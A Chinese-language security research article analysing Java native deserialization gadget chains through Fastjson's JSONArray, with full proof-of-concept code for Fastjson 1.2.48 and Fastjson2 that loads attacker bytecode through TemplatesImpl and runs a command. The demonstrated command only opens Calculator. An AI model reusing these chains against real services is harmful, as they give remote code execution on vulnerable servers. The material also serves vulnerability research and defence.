作者:Y4tacker
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

這其實是我很早前遇到的一個秋招面試題,問題大概是如果你遇到一個較高版本的FastJson有什么辦法能繞過AutoType么?我一開始回答的是找黑名單外的類,后面面試官說想考察的是FastJson在原生反序列化當中的利用。因為比較有趣加上最近在網上也看到類似的東西,今天也就順便在肝畢設之余來談談這個問題。

利用與限制

Fastjson1版本小于等于1.2.48

Fastjson2目前通殺(目前最新版本2.0.26)

尋找

既然是與原生反序列化相關,那我們去fastjson包里去看看哪些類繼承了Serializable接口即可,最后找完只有兩個類,JSONArray與JSONObject,這里我們就挑第一個來講(實際上這兩個在原生反序列化當中利用方式是相同的)

首先我們可以在IDEA中可以看到,雖然JSONArray有implement這個Serializable接口但是它本身沒有實現readObject方法的重載,并且繼承的JSON類同樣沒有readObject方法,那么只有一個思路了,通過其他類的readObject做中轉來觸發JSONArray或者JSON類當中的某個方法最終實現串鏈

在Json類當中的toString方法能觸發toJsonString的調用,而這個東西其實我們并不陌生,在我們想用JSON.parse()觸發get方法時,其中一個處理方法就是用JSONObject嵌套我們的payload

image-20230320134010936

那么思路就很明確了,觸發toString->toJSONString->get方法,

如何觸發getter方法

這里多提一句為什么能觸發get方法調用

因為是toString所以肯定會涉及到對象中的屬性提取,fastjson在做這部分實現時,是通過ObjectSerializer類的write方法去做的提取

image-20230320134844206

這部分流程是先判斷serializers這個HashMap當中有無默認映射

image-20230320134927354

我們可以來看看有哪些默認的映射關系

private void initSerializers() {
        this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);
        this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);
        this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);
        this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);
        this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);
        this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);
        this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);
        this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);
        this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);
        this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));
        this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);
    }

這里面基本上沒有我們需要的東西,唯一熟悉的就是MiscCodec(提示下我們fastjson加載任意class時就是通過調用這個的TypeUtils.loadClass),但可惜的是他的write方法同樣沒有什么可利用的點,再往下去除一些不關鍵的調用棧,接下來默認會通過createJavaBeanSerializer來創建一個ObjectSerializer對象

image-20230320135558815

它會提取類當中的BeanInfo(包括有getter方法的屬性)并傳入createJavaBeanSerializer繼續處理

    public final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {
        SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, (Map)null, this.propertyNamingStrategy, this.fieldBased);
        return (ObjectSerializer)(beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz) ? MiscCodec.instance : this.createJavaBeanSerializer(beanInfo));
    }

這個方法也最終會將二次處理的beaninfo繼續委托給createASMSerializer做處理,而這個方法其實就是通過ASM動態創建一個類(因為和Java自帶的ASM框架長的很“相似”所以閱讀這部分代碼并不復雜)

image-20230320140024393

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod當中

它會根據字段的類型調用不同的方法處理,這里我們隨便看一個(以第一個_long為例)

image-20230320141614997

通過_get方法生成讀取filed的方法

image-20230320141732427

這里的fieldInfo其實就是我們一開始的有get方法的field的集合

image-20230320141919458

private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {
        Method method = fieldInfo.method;
        if (method != null) {
            mw.visitVarInsn(25, context.var("entity"));
            Class<?> declaringClass = method.getDeclaringClass();
            mw.visitMethodInsn(declaringClass.isInterface() ? 185 : 182, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method));
            if (!method.getReturnType().equals(fieldInfo.fieldClass)) {
                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
            }
        } else {
            mw.visitVarInsn(25, context.var("entity"));
            Field field = fieldInfo.field;
            mw.visitFieldInsn(180, ASMUtils.type(fieldInfo.declaringClass), field.getName(), ASMUtils.desc(field.getType()));
            if (!field.getType().equals(fieldInfo.fieldClass)) {
                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
            }
        }

    }

因此能最終調用方法的get方法

這里做個驗證,這里我們創建一個User類,其中只有username字段有get方法

public class User {
    public String username;
    public String password;

    public String getUsername() {
        return username;
    }
}

在asm最終生成code的bytes數據寫入文件

image-20230320142220671

可以看到在write方法當中password因為沒有get方法所以沒有調用getPassword,而username有所以調用了

image-20230320142440946

組合利用鏈

既然只能觸發get方法的調用那么很容易想到通過觸發TemplatesImpl的getOutputProperties方法實現加載任意字節碼最終觸發惡意方法調用

而觸發toString方法我們也有現成的鏈,通過BadAttributeValueExpException觸發即可

因此我們很容易寫出利用鏈子

fastjson1

Maven依賴

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
</dependency>
 <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.48</version>
</dependency>
import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

fastjson2

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

image-20230320143328906

為什么fastjson1的1.2.49以后不再能利用

從1.2.49開始,我們的JSONArray以及JSONObject方法開始真正有了自己的readObject方法

image-20230320144250771

在其SecureObjectInputStream類當中重寫了resolveClass,在其中調用了checkAutoType方法做類的檢查

image-20230320144333055


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2055/